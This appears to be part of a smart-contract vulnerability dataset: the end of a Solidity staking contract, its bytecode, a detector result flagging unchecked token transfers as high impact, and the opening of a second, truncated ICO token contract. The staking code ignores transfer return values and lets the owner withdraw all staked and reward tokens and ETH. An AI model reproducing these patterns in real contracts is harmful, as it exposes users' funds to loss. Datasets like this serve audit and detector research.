TOKEN_PENALTY_PERCENT_SILVER = silver; TOKEN_PENALTY_PERCENT_GOLD = gold; TOKEN_PENALTY_PERCENT_PLATINUM = platinum; return true; } // function to withdraw LP token from the contract function withdrawLPToken(uint256 amount) external onlyOwner returns(bool){ ilptoken.transfer(msg.sender,amount); return true; } // function to withdraw token from the contract function withdrawToken(uint256 amount) external onlyOwner returns(bool){ itoken.transfer(msg.sender,amount); return true; } // function to withdraw ETH from the contract function withdrawETH() external onlyOwner returns(bool){ msg.sender.transfer(address(this).balance); return true; } /* * ---------------------------------------------------------------------------------------------------------------------------- * Variable, Mapping for Token Staking Functionality * ---------------------------------------------------------------------------------------------------------------------------- */ // mapping for users with id => address Staking Address mapping (uint256 => address) private _tokenStakingAddress; // mapping for users with address => id staking id mapping (address => uint256[]) private _tokenStakingId; // mapping for users with id => Staking Time mapping (uint256 => uint256) private _tokenStakingStartTime; // mapping for users with id => End Time mapping (uint256 => uint256) private _tokenStakingEndTime; // mapping for users with id => Tokens mapping (uint256 => uint256) private _usersTokens; // mapping for users with id => Status mapping (uint256 => bool) private _TokenTransactionstatus; // mapping to keep track of final withdraw value of staked token mapping(uint256=>uint256) private _finalTokenStakeWithdraw; // mapping to keep track total number of staking days mapping(uint256=>uint256) private _tokenTotalDays; // variable to keep count of Token Staking uint256 private _tokenStakingCount = 0; // variable to keep track on reward added by owner uint256 private _ownerTokenAllowance = 0; // variable for token time management uint256 private _tokentime; // variable for token staking pause and unpause mechanism bool public tokenPaused = false; // variable for total Token staked by user uint256 public totalStakedToken = 0; // variable for total stake token in contract uint256 public totalTokenStakesInContract = 0; // modifier to check the user for staking || Re-enterance Guard modifier tokenStakeCheck(uint256 tokens, uint256 timePeriod){ require(tokens > 0, "Invalid Token Amount, Please Try Again!!! "); require(timePeriod == PERIOD_SILVER || timePeriod == PERIOD_GOLD || timePeriod == PERIOD_PLATINUM, "Enter the Valid Time Period and Try Again !!!"); _; } /* * ------------------------------------------------------------------------------------------------------------------------------ * Functions for Token Staking Functionality * ------------------------------------------------------------------------------------------------------------------------------ */ // function to performs staking for user tokens for a specific period of time function stakeToken(uint256 tokens, uint256 time) public tokenStakeCheck(tokens, time) returns(bool){ require(tokenPaused == false, "Staking is Paused, Please try after staking get unpaused!!!"); _tokentime = now + (time * 1 days); _tokenStakingCount = _tokenStakingCount + 1; _tokenTotalDays[_tokenStakingCount] = time; _tokenStakingAddress[_tokenStakingCount] = msg.sender; _tokenStakingId[msg.sender].push(_tokenStakingCount); _tokenStakingEndTime[_tokenStakingCount] = _tokentime; _tokenStakingStartTime[_tokenStakingCount] = now; _usersTokens[_tokenStakingCount] = tokens; _TokenTransactionstatus[_tokenStakingCount] = false; totalStakedToken = totalStakedToken.add(tokens); totalTokenStakesInContract = totalTokenStakesInContract.add(tokens); ilptoken.transferFrom(msg.sender, address(this), tokens); return true; } // function to get staking count for token function getTokenStakingCount() public view returns(uint256){ return _tokenStakingCount; } // function to get total Staked tokens function getTotalStakedToken() public view returns(uint256){ return totalStakedToken; } // function to calculate reward for the message sender for token function getTokenRewardDetailsByStakingId(uint256 id) public view returns(uint256){ if(_tokenTotalDays[id] == PERIOD_SILVER) { return (_usersTokens[id]*TOKEN_REWARD_PERCENT_SILVER/100000000); } else if(_tokenTotalDays[id] == PERIOD_GOLD) { return (_usersTokens[id]*TOKEN_REWARD_PERCENT_GOLD/100000000); } else if(_tokenTotalDays[id] == PERIOD_PLATINUM) { return (_usersTokens[id]*TOKEN_REWARD_PERCENT_PLATINUM/100000000); } else{ return 0; } } // function to calculate penalty for the message sender for token function getTokenPenaltyDetailByStakingId(uint256 id) public view returns(uint256){ if(_tokenStakingEndTime[id] > now){ if(_tokenTotalDays[id]==PERIOD_SILVER){ return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_SILVER/100000000); } else if(_tokenTotalDays[id] == PERIOD_GOLD) { return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_GOLD/100000000); } else if(_tokenTotalDays[id] == PERIOD_PLATINUM) { return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_PLATINUM/100000000); } else { return 0; } } else{ return 0; } } // function for withdrawing staked tokens function withdrawStakedTokens(uint256 stakingId) public returns(bool) { require(_tokenStakingAddress[stakingId] == msg.sender,"No staked token found on this address and ID"); require(_TokenTransactionstatus[stakingId] != true,"Either tokens are already withdrawn or blocked by admin"); if(_tokenTotalDays[stakingId] == PERIOD_SILVER){ require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_SILVER, "Unable to Withdraw Staked token before 45 days of staking start time, Please Try Again Later!!!"); _TokenTransactionstatus[stakingId] = true; if(now >= _tokenStakingEndTime[stakingId]){ _finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId)); ilptoken.transfer(msg.sender,_usersTokens[stakingId]); itoken.transfer(msg.sender,getTokenRewardDetailsByStakingId(stakingId)); totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]); _ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenRewardDetailsByStakingId(stakingId)); } else { _finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId)); ilptoken.transfer(msg.sender,_usersTokens[stakingId]); itoken.transfer(msg.sender,getTokenPenaltyDetailByStakingId(stakingId)); totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]); _ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenPenaltyDetailByStakingId(stakingId)); } } else if(_tokenTotalDays[stakingId] == PERIOD_GOLD){ require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_GOLD, "Unable to Withdraw Staked token before 90 days of staking start time, Please Try Again Later!!!"); _TokenTransactionstatus[stakingId] = true; if(now >= _tokenStakingEndTime[stakingId]){ _finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId)); ilptoken.transfer(msg.sender,_usersTokens[stakingId]); itoken.transfer(msg.sender,getTokenRewardDetailsByStakingId(stakingId)); totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]); _ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenRewardDetailsByStakingId(stakingId)); } else { _finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId)); ilptoken.transfer(msg.sender,_usersTokens[stakingId]); itoken.transfer(msg.sender,getTokenPenaltyDetailByStakingId(stakingId)); totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]); _ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenPenaltyDetailByStakingId(stakingId)); } } else if(_tokenTotalDays[stakingId] == PERIOD_PLATINUM){ require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_PLATINUM, "Unable to Withdraw Staked token before 135 days of staking start time, Please Try Again Later!!!"); _TokenTransactionstatus[stakingId] = true; if(now >= _tokenStakingEndTime[stakingId]){ _finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId)); ilptoken.transfer(msg.sender,_usersTokens[stakingId]); itoken.transfer(msg.sender,getTokenRewardDetailsByStakingId(stakingId)); totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]); _ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenRewardDetailsByStakingId(stakingId)); } else { _finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId)); ilptoken.transfer(msg.sender,_usersTokens[stakingId]); itoken.transfer(msg.sender,getTokenPenaltyDetailByStakingId(stakingId)); totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]); _ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenPenaltyDetailByStakingId(stakingId)); } } else { return false; } return true; } // function to get Final Withdraw Staked value for token function getFinalTokenStakeWithdraw(uint256 id) public view returns(uint256){ return _finalTokenStakeWithdraw[id]; } // function to get total token stake in contract function getTotalTokenStakesInContract() public view returns(uint256){ return totalTokenStakesInContract; } /* * ------------------------------------------------------------------------------------------------------------------------------- * Get Functions for Stake Token Functionality * ------------------------------------------------------------------------------------------------------------------------------- */ // function to get Token Staking address by id function getTokenStakingAddressById(uint256 id) external view returns (address){ require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!"); return _tokenStakingAddress[id]; } // function to get Token staking id by address function getTokenStakingIdByAddress(address add) external view returns(uint256[] memory){ require(add != address(0),"Invalid Address, Pleae Try Again!!!"); return _tokenStakingId[add]; } // function to get Token Staking Starting time by id function getTokenStakingStartTimeById(uint256 id) external view returns(uint256){ require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!"); return _tokenStakingStartTime[id]; } // function to get Token Staking Ending time by id function getTokenStakingEndTimeById(uint256 id) external view returns(uint256){ require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!"); return _tokenStakingEndTime[id]; } // function to get Token Staking Total Days by Id function getTokenStakingTotalDaysById(uint256 id) external view returns(uint256){ require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!"); return _tokenTotalDays[id]; } // function to get Staking tokens by id function getStakingTokenById(uint256 id) external view returns(uint256){ require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!"); return _usersTokens[id]; } // function to get Token lockstatus by id function getTokenLockStatus(uint256 id) external view returns(bool){ require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!"); return _TokenTransactionstatus[id]; } }
0x608060405234801561001057600080fd5b50600436106102745760003560e01c80638469819011610151578063b9f7549b116100c3578063e382c2a911610087578063e382c2a914610625578063eff36c121461062d578063f2fde38b14610635578063fa8eb7821461065b578063fe0174bd14610663578063ffab4bd91461066b57610274565b8063b9f7549b14610548578063c26b2a95146105be578063cb6d8ee6146105e7578063cd931e40146105ef578063e086e5ec1461061d57610274565b80638e492344116101155780638e492344146104bd57806390645979146104c5578063925672c1146104cd5780639d6c890d146104d5578063b248c8121461050e578063b8c1fc331461052b57610274565b806384698190146104695780638586ca0014610473578063863997b21461049057806386c75e74146104ad5780638cc15d4f146104b557610274565b806350baa622116101ea578063578b7e4d116101ae578063578b7e4d1461042457806360c2a3481461042c57806368cf8631146104495780636f37ac581461045157806370c6bc771461045957806382e19c4b1461046157610274565b806350baa622146103bd57806350ff92a9146103da5780635248eede146103e257806354439ad0146103ea5780635673017a1461040757610274565b80632458eee91161023c5780632458eee9146103635780632841a1431461036b5780632b74c89d14610388578063332a35d2146103905780633e4ffb16146103ad578063423eea07146103b557610274565b8063032f3b09146102795780630a0453c1146102a85780630a57336a146103005780630b0330811461031d578063106c85d51461033a575b600080fd5b6102966004803603602081101561028f57600080fd5b503561068e565b60408051918252519081900360200190f35b6102ec600480360360c08110156102be57600080fd5b508035906020810135906001600160a01b036040820135169060608101359060808101359060a001356106e7565b604080519115158252519081900360200190f35b6102ec6004803603602081101561031657600080fd5b50356107f1565b6102ec6004803603602081101561033357600080fd5b5035610cf4565b6102ec6004803603606081101561035057600080fd5b5080359060208101359060400135610dc1565b610296610e6c565b6102ec6004803603602081101561038157600080fd5b5035610e73565b610296610f22565b610296600480360360208110156103a657600080fd5b5035610f28565b610296610f7e565b610296610f84565b6102ec600480360360208110156103d357600080fd5b5035610f8a565b610296611023565b610296611029565b6102966004803603602081101561040057600080fd5b503561102e565b6102ec6004803603602081101561041d57600080fd5b5035611084565b6102966110dd565b6102966004803603602081101561044257600080fd5b50356110e4565b6102966110f6565b6102966110fc565b610296611102565b610296611107565b61047161110d565b005b6102966004803603602081101561048957600080fd5b5035611188565b610296600480360360208110156104a657600080fd5b5035611242565b6102ec6112e2565b6104716112eb565b610296611363565b610296611369565b61029661136f565b6104f2600480360360208110156104eb57600080fd5b5035611376565b604080516001600160a01b039092168252519081900360200190f35b6102966004803603602081101561052457600080fd5b50356113d5565b6102ec6004803603602081101561054157600080fd5b503561142b565b61056e6004803603602081101561055e57600080fd5b50356001600160a01b0316611514565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156105aa578181015183820152602001610592565b505050509050019250505060405180910390f35b6102ec600480360360608110156105d457600080fd5b50803590602081013590604001356115c5565b610296611670565b6102ec6004803603604081101561060557600080fd5b506001600160a01b0381358116916020013516611676565b6102ec6116ed565b610296611766565b61029661176c565b6102ec6004803603602081101561064b57600080fd5b50356001600160a01b0316611772565b6102966117dc565b6104f26117e2565b6102ec6004803603604081101561068157600080fd5b50803590602001356117f1565b60006012548211156106d15760405162461bcd60e51b815260040180806020018281038252603b815260200180611bc5603b913960400191505060405180910390fd5b506000818152600c60205260409020545b919050565b60006106f1611a26565b61072c5760405162461bcd60e51b815260040180806020018281038252602e815260200180611c91602e913960400191505060405180910390fd5b601287815560008881526011602090815260408083208a905583548352600a825280832080546001600160a01b0319166001600160a01b038b169081179091558352600b8252808320845481546001810183559185528385209091015583548352600d825280832087905583548352600c825280832088905583548352600e825280832086905592548252600f905220805460ff191690556016546107d19083611a37565b6016556017546107e19083611a37565b6017555060019695505050505050565b6000818152600a60205260408120546001600160a01b031633146108465760405162461bcd60e51b815260040180806020018281038252602c815260200180611c00602c913960400191505060405180910390fd5b6000828152600f602052604090205460ff161515600114156108995760405162461bcd60e51b8152600401808060200182810382526037815260200180611cbf6037913960400191505060405180910390fd5b600082815260116020526040902054605a1415610c11576000828152600c6020526040902054623b5380014210156109025760405162461bcd60e51b815260040180806020018281038252605f815260200180611d57605f913960600191505060405180910390fd5b6000828152600f60209081526040808320805460ff19166001179055600d9091529020544210610aad5761094d61093883611242565b6000848152600e602052604090205490611a37565b600083815260106020908152604080832093909355600854600e825283832054845163a9059cbb60e01b8152336004820152602481019190915293516001600160a01b039091169363a9059cbb9360448083019493928390030190829087803b1580156109b957600080fd5b505af11580156109cd573d6000803e3d6000fd5b505050506040513d60208110156109e357600080fd5b50506009546001600160a01b031663a9059cbb33610a0085611242565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a4657600080fd5b505af1158015610a5a573d6000803e3d6000fd5b505050506040513d6020811015610a7057600080fd5b50506000828152600e6020526040902054601754610a8d91611a8c565b601755610aa5610a9c83611242565b60135490611a8c565b601355610c0c565b610ab961093883611188565b600083815260106020908152604080832093909355600854600e825283832054845163a9059cbb60e01b8152336004820152602481019190915293516001600160a01b039091169363a9059cbb9360448083019493928390030190829087803b158015610b2557600080fd5b505af1158015610b39573d6000803e3d6000fd5b505050506040513d6020811015610b4f57600080fd5b50506009546001600160a01b031663a9059cbb33610b6c85611188565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610bb257600080fd5b505af1158015610bc6573d6000803e3d6000fd5b505050506040513d6020811015610bdc57600080fd5b50506000828152600e6020526040902054601754610bf991611a8c565b601755610c08610a9c83611188565b6013555b610cec565b60008281526011602052604090205460b41415610c7a576000828152600c60205260409020546276a700014210156109025760405162461bcd60e51b815260040180806020018281038252605f815260200180611b01605f913960600191505060405180910390fd5b60008281526011602052604090205461010e1415610ce4576000828152600c602052604090205462b1fa80014210156109025760405162461bcd60e51b8152600401808060200182810382526060815260200180611db66060913960600191505060405180910390fd5b5060006106e2565b506001919050565b6000610cfe611a26565b610d395760405162461bcd60e51b815260040180806020018281038252602e815260200180611c91602e913960400191505060405180910390fd5b6008546040805163a9059cbb60e01b81523360048201526024810185905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610d8d57600080fd5b505af1158015610da1573d6000803e3d6000fd5b505050506040513d6020811015610db757600080fd5b5060019392505050565b6000610dcb611a26565b610e065760405162461bcd60e51b815260040180806020018281038252602e815260200180611c91602e913960400191505060405180910390fd5b8315801590610e1457508215155b8015610e1f57508115155b610e5a5760405162461bcd60e51b8152600401808060200182810382526037815260200180611d206037913960400191505060405180910390fd5b50600292909255600355600455600190565b62b1fa8081565b6000610e7d611a26565b610eb85760405162461bcd60e51b815260040180806020018281038252602e815260200180611c91602e913960400191505060405180910390fd5b601354610ec59083611a37565b601355600954604080516323b872dd60e01b81523360048201523060248201526044810185905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610d8d57600080fd5b61010e81565b6000601254821115610f6b5760405162461bcd60e51b815260040180806020018281038252603b815260200180611bc5603b913960400191505060405180910390fd5b506000908152600e602052604090205490565b60125490565b60165490565b6000610f94611a26565b610fcf5760405162461bcd60e51b815260040180806020018281038252602e815260200180611c91602e913960400191505060405180910390fd5b6009546040805163a9059cbb60e01b81523360048201526024810185905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610d8d57600080fd5b60175490565b605a81565b60006012548211156110715760405162461bcd60e51b815260040180806020018281038252603b815260200180611bc5603b913960400191505060405180910390fd5b506000908152600d602052604090205490565b60006012548211156110c75760405162461bcd60e51b815260040180806020018281038252603b815260200180611bc5603b913960400191505060405180910390fd5b506000908152600f602052604090205460ff1690565b623b538081565b60009081526010602052604090205490565b60065481565b60025481565b60b481565b60055481565b611115611a26565b6111505760405162461bcd60e51b815260040180806020018281038252602e815260200180611c91602e913960400191505060405180910390fd5b6015805460ff191660011790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b6000818152600d6020526040812054421015610ce457600082815260116020526040902054605a14156111d7576005546000838152600e60205260409020546305f5e10091025b0490506106e2565b60008281526011602052604090205460b4141561120c576006546000838152600e60205260409020546305f5e10091026111cf565b60008281526011602052604090205461010e1415610ce4576007546000838152600e60205260409020546305f5e10091026111cf565b600081815260116020526040812054605a1415611277576002546000838152600e60205260409020546305f5e10091026111cf565b60008281526011602052604090205460b414156112ac576003546000838152600e60205260409020546305f5e10091026111cf565b60008281526011602052604090205461010e1415610ce4576004546000838152600e60205260409020546305f5e10091026111cf565b60155460ff1681565b6112f3611a26565b61132e5760405162461bcd60e51b815260040180806020018281038252602e815260200180611c91602e913960400191505060405180910390fd5b6015805460ff191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693390600090a1565b60045481565b60175481565b6276a70081565b60006012548211156113b95760405162461bcd60e51b815260040180806020018281038252603b815260200180611bc5603b913960400191505060405180910390fd5b506000908152600a60205260409020546001600160a01b031690565b60006012548211156114185760405162461bcd60e51b815260040180806020018281038252603b815260200180611bc5603b913960400191505060405180910390fd5b5060009081526011602052604090205490565b6000611435611a26565b6114705760405162461bcd60e51b815260040180806020018281038252602e815260200180611c91602e913960400191505060405180910390fd5b60135482106114b05760405162461bcd60e51b815260040180806020018281038252602a815260200180611cf6602a913960400191505060405180910390fd5b6013546114bd9083611a8c565b6013556009546040805163a9059cbb60e01b81523360048201526024810185905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610d8d57600080fd5b60606001600160a01b03821661155b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611ade6023913960400191505060405180910390fd5b6001600160a01b0382166000908152600b6020908152604091829020805483518184028101840190945280845290918301828280156115b957602002820191906000526020600020905b8154815260200190600101908083116115a5575b50505050509050919050565b60006115cf611a26565b61160a5760405162461bcd60e51b815260040180806020018281038252602e815260200180611c91602e913960400191505060405180910390fd5b831580159061161857508215155b801561162357508115155b61165e5760405162461bcd60e51b8152600401808060200182810382526038815260200180611b606038913960400191505060405180910390fd5b50600592909255600655600755600190565b60165481565b6000611680611a26565b6116bb5760405162461bcd60e51b815260040180806020018281038252602e815260200180611c91602e913960400191505060405180910390fd5b50600880546001600160a01b039384166001600160a01b03199182161790915560098054929093169116179055600190565b60006116f7611a26565b6117325760405162461bcd60e51b815260040180806020018281038252602e815260200180611c91602e913960400191505060405180910390fd5b60405133904780156108fc02916000818181858888f1935050505015801561175e573d6000803e3d6000fd5b506001905090565b60075481565b60035481565b600061177c611a26565b6117b75760405162461bcd60e51b815260040180806020018281038252602e815260200180611c91602e913960400191505060405180910390fd5b50600080546001600160a01b0383166001600160a01b03199091161790556001919050565b60135490565b6000546001600160a01b031690565b60008282600082116118345760405162461bcd60e51b815260040180806020018281038252602a815260200180611c67602a913960400191505060405180910390fd5b605a811480611843575060b481145b8061184f575061010e81145b61188a5760405162461bcd60e51b815260040180806020018281038252602d815260200180611b98602d913960400191505060405180910390fd5b60155460ff16156118cc5760405162461bcd60e51b815260040180806020018281038252603b815260200180611c2c603b913960400191505060405180910390fd5b426201518085028101601490815560128054600190810180835560009081526011602090815260408083208b905584548352600a825280832080546001600160a01b031916339081179091558352600b825280832085548154958601825590845282842090940193909355935483548252600d85528282205582548152600c84528181209490945581548452600e835280842089905590548352600f9091529020805460ff191690556016546119829086611a37565b6016556017546119929086611a37565b601755600854604080516323b872dd60e01b81523360048201523060248201526044810188905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b1580156119ef57600080fd5b505af1158015611a03573d6000803e3d6000fd5b505050506040513d6020811015611a1957600080fd5b5060019695505050505050565b6000546001600160a01b0316331490565b600082820183811015611a85576040805162461bcd60e51b815260206004820152601160248201527021b0b631bab630ba34b7b71032b93937b960791b604482015290519081900360640190fd5b9392505050565b600082821115611ad7576040805162461bcd60e51b815260206004820152601160248201527021b0b631bab630ba34b7b71032b93937b960791b604482015290519081900360640190fd5b5090039056fe496e76616c696420416464726573732c20506c6561652054727920416761696e212121556e61626c6520746f205769746864726177205374616b656420746f6b656e206265666f72652039302064617973206f66207374616b696e672073746172742074696d652c20506c656173652054727920416761696e204c61746572212121496e76616c69642050656e616c74792056616c7565206f72205a65726f2076616c75652c20506c656173652054727920416761696e212121456e746572207468652056616c69642054696d6520506572696f6420616e642054727920416761696e20212121556e61626c6520746f2072657465726976652064617461206f6e207370656369666965642069642c20506c656173652074727920616761696e21214e6f207374616b656420746f6b656e20666f756e64206f6e2074686973206164647265737320616e642049445374616b696e67206973205061757365642c20506c6561736520747279206166746572207374616b696e672067657420756e706175736564212121496e76616c696420546f6b656e20416d6f756e742c20506c656173652054727920416761696e21212120596f7520617265206e6f742061757468656e74696361746520746f206d616b652074686973207472616e7366657245697468657220746f6b656e732061726520616c72656164792077697468647261776e206f7220626c6f636b65642062792061646d696e56616c7565206973206e6f74206665617369626c652c20506c656173652054727920416761696e212121496e76616c6964205265776172642056616c7565206f72205a65726f2076616c75652c20506c656173652054727920416761696e212121556e61626c6520746f205769746864726177205374616b656420746f6b656e206265666f72652034352064617973206f66207374616b696e672073746172742074696d652c20506c656173652054727920416761696e204c61746572212121556e61626c6520746f205769746864726177205374616b656420746f6b656e206265666f7265203133352064617973206f66207374616b696e672073746172742074696d652c20506c656173652054727920416761696e204c61746572212121a26469706673582212209da630b5a9b614eed64bc100d21fc93b0d7edf84fbbd761c18829e9ca72958b564736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
10,214
0x5db4792f5e76f8b3150e9c4f42825ace7eb08dd2
pragma solidity ^0.4.18; // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts/Dividends.sol contract DividendContract { using SafeMath for uint256; event Dividends(uint256 round, uint256 value); event ClaimDividends(address investor, uint256 value); uint256 totalDividendsAmount = 0; uint256 totalDividendsRounds = 0; uint256 totalUnPayedDividendsAmount = 0; mapping(address => uint256) payedDividends; function getTotalDividendsAmount() public constant returns (uint256) { return totalDividendsAmount; } function getTotalDividendsRounds() public constant returns (uint256) { return totalDividendsRounds; } function getTotalUnPayedDividendsAmount() public constant returns (uint256) { return totalUnPayedDividendsAmount; } function dividendsAmount(address investor) public constant returns (uint256); function claimDividends() payable public; function payDividends() payable public { require(msg.value > 0); totalDividendsAmount = totalDividendsAmount.add(msg.value); totalUnPayedDividendsAmount = totalUnPayedDividendsAmount.add(msg.value); totalDividendsRounds += 1; Dividends(totalDividendsRounds, msg.value); } } // File: contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/ESlotsICOToken.sol contract ESlotsICOToken is ERC20, DividendContract { string public constant name = "Ethereum Slot Machine Token"; string public constant symbol = "EST"; uint8 public constant decimals = 18; function maxTokensToSale() public view returns (uint256); function availableTokens() public view returns (uint256); function completeICO() public; function connectCrowdsaleContract(address crowdsaleContract) public; } // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } // File: contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } 